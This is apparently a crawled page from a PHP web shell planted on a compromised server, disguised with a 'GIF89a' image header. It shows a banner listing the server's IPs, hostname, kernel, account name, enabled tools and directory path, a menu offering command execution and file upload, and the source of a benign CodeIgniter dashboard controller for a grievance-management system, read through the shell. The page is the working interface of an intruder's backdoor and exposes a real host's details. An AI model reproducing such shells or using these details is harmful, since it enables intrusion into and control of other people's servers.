GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.222.56.71 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/../grievance/application/models/../controllers/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller For Dashboard Page * * @author Softpro India Pvt. Ltd. Srivastava */ defined('BASEPATH') OR exit('No direct script access allowed'); class Dashboard extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->library('session'); $this->load->helper('form'); $this->load->library('form_validation'); $this->load->model('CourseManagement'); $this->load->model('GrievanceCategoryManagement'); $this->load->model('UserManagement'); $this->load->model('GrievanceManagement'); } public function index() { if ($this->session->userdata('logged_in') && $this->session->userdata('role') == 'CA' && $this->session->userdata('type') == 'NA') { $viewData['totCourses'] = $this->CourseManagement->getTotalNonDeletedCoursesOfInstitute($this->session->userdata('inst_id'))->result()[0]->totalCourses; $viewData['totGCategories'] = $this->GrievanceCategoryManagement->getTotalNonDeletedGCategoriesOfInstitute($this->session->userdata('inst_id'))->result()[0]->totalGCatgs; $viewData['totStudents'] = $this->UserManagement->getTotalNonDeletedStudentsOfInstitute($this->session->userdata('inst_id'))->result()[0]->totalStudents; $viewData['totParents'] = $this->UserManagement->getTotalNonDeletedParentsOfInstitute($this->session->userdata('inst_id'))->result()[0]->totalParents; $viewData['totFaculties'] = $this->UserManagement->getTotalNonDeletedFacultiesOfInstitute($this->session->userdata('inst_id'))->result()[0]->totalFaculties; $viewData['totNonTeaching'] = $this->UserManagement->getTotalNonDeletedNonTeachingStaffOfInstitute($this->session->userdata('inst_id'))->result()[0]->totalNonTeachingStaff; $viewData['totGCellMembers'] = $this->UserManagement->getTotalNonDeletedGCellMembersOfInstitute($this->session->userdata('inst_id'))->result()[0]->totalGCellMembers; $viewData['totMgmtMembers'] = $this->UserManagement->getTotalNonDeletedMgmtMembersOfInstitute($this->session->userdata('inst_id'))->result()[0]->totalMgmtMembers; $viewData['totPostedGrievances'] = $this->GrievanceManagement->getTotalPostedGrievances($this->session->userdata('inst_id'))->result()[0]->totalPostedGrievances; $this->load->view('dashboard', $viewData); } else if ($this->session->userdata('logged_in') && $this->session->userdata('role') == 'NA' && ($this->session->userdata('type') == 'S' || $this->session->userdata('type') == 'P' || $this->session->userdata('type') == 'F' || $this->session->userdata('type') == 'N')) { $viewData['totGrvncs'] = $this->GrievanceManagement->getTotalNonDeletedGrievanceOfUser($this->session->userdata('id'))->result()[0]->myTotGrievances; $viewData['pendingGrvncs'] = $this->GrievanceManagement->getTotalPendingGrievancesOfUser($this->session->userdata('id'))->result()[0]->myTotPendingGrievances; $viewData['resovledGrvncs'] = $this->GrievanceManagement->getTotalResolvedGrievanceOfUser($this->session->userdata('id'))->result()[0]->myTotResolvedGrievances; $this->load->view('dashboard', $viewData); } else if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == 'GCM' || $this->session->userdata('role') == 'MGMT') && ($this->session->userdata('type') == 'NA')) { $viewData['lockedGrvncs'] = $this->GrievanceManagement->getTotalLockedGrievancesByUser($this->session->userdata('id'))->result()[0]->totalLockedGrievances; $viewData['pendingGrvncs'] = $this->GrievanceManagement->getTotalPendingGrievancesByUser($this->session->userdata('id'))->result()[0]->totalPendingGrievances; $viewData['resovledGrvncs'] = $this->GrievanceManagement->getTotalResolvedGrievancesByUser($this->session->userdata('id'))->result()[0]->totalResolvedGrievances; $this->load->view('dashboard', $viewData); } else { redirect("Home/"); } } }